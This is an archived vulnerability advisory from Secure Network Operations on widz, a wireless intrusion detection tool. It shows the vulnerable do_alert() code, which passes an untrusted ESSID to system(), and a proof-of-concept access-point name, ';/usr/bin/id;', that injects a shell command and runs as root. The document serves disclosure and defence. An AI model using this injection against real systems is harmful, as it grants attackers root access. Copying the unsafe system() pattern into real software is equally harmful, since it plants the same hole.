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TUCoPS :: Network Appliances :: bt939.txt

Wireless Intrusion dection remote root compromise





Secure Network Operations, Inc.           http://www.secnetops.com
Strategic Reconnaissance Team               research@secnetops.com
Team Lead Contact                                 kf@secnetops.com


Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion 
Detection Systems (IDS), Software Security Validation, and 
Corporate/Private Network Security. Our mission is to facilitate a 
secure and reliable Internet and inter-enterprise communications 
infrastructure through the products and services we offer. 


Quick Summary:
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Advisory Number         : SRT2003-08-22-104
Product                 : widz (802.11 wireless IDS)
Version                 : <= v1.5
Vendor                  : http://www.loud-fat-bloke.co.uk/w80211.html
Class                   : remote
Criticality             : High
Operating System(s)     : *nix


High Level Explanation
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High Level Description  : widz make use of untrusted input with system()
What to do              : do not use widz in a production environment

Technical Details
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Proof Of Concept Status : SNO has PoC code for this issue
Low Level Description   : 

WIDZ, "the first OpenSource wireless IDS" has the ability to Detects Rogue 
APs and Monkey-jacks. Null probes , floods, and it has a Mac Backlist and 
ESSID blacklist so you can catch the obvious badguys.

from the file READMEwidz.txt we learn the following about widz_apmon.c

This sad little program monitors an area for Access Points
If finds an ap it compares it to a list of Authorised APs in a config file
if the AP isnt in list it calls a program called Alert with an appropriate 
message.

If you give widz_apmon a little test drive you will get the following. 

snifz0r widz # ./widz_apmon 1 eth1 monitor
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
...

I wonder how that alert gets generated...

File: widz_apmon.c
do_alert(char *target)
  {
  char mess[100];
  if ( DEBUG )
    printf("Alert unknown AP %s\n", target);
  sprintf(mess,"Alert 'unknown AP %s\n'", target);
  system(mess);
  // Should do a check to see if we've alerted already but !!!
  }

Hrmm thats no good... but fun to play with non the less.

Go to apple airport and set network name to ';/usr/bin/id; 
(hint: use HostAP instead)

snifz0r widz # ./widz_apmon 1 eth1 monitor
unknown AP essid=
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh: -c: line 3: unexpected EOF while looking for matching `''
sh: -c: line 4: syntax error: unexpected end of file

At this point the attacker can pretty much do what they wish. As a side note this is 
not the only WIDZ program to make use of system() in this manor. 


Patch or Workaround     : update will be in final version of widz

Vendor Status           : fix available "in the next couple of weeks" as of 07/26/03

Bugtraq URL             : to be assigned

------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.


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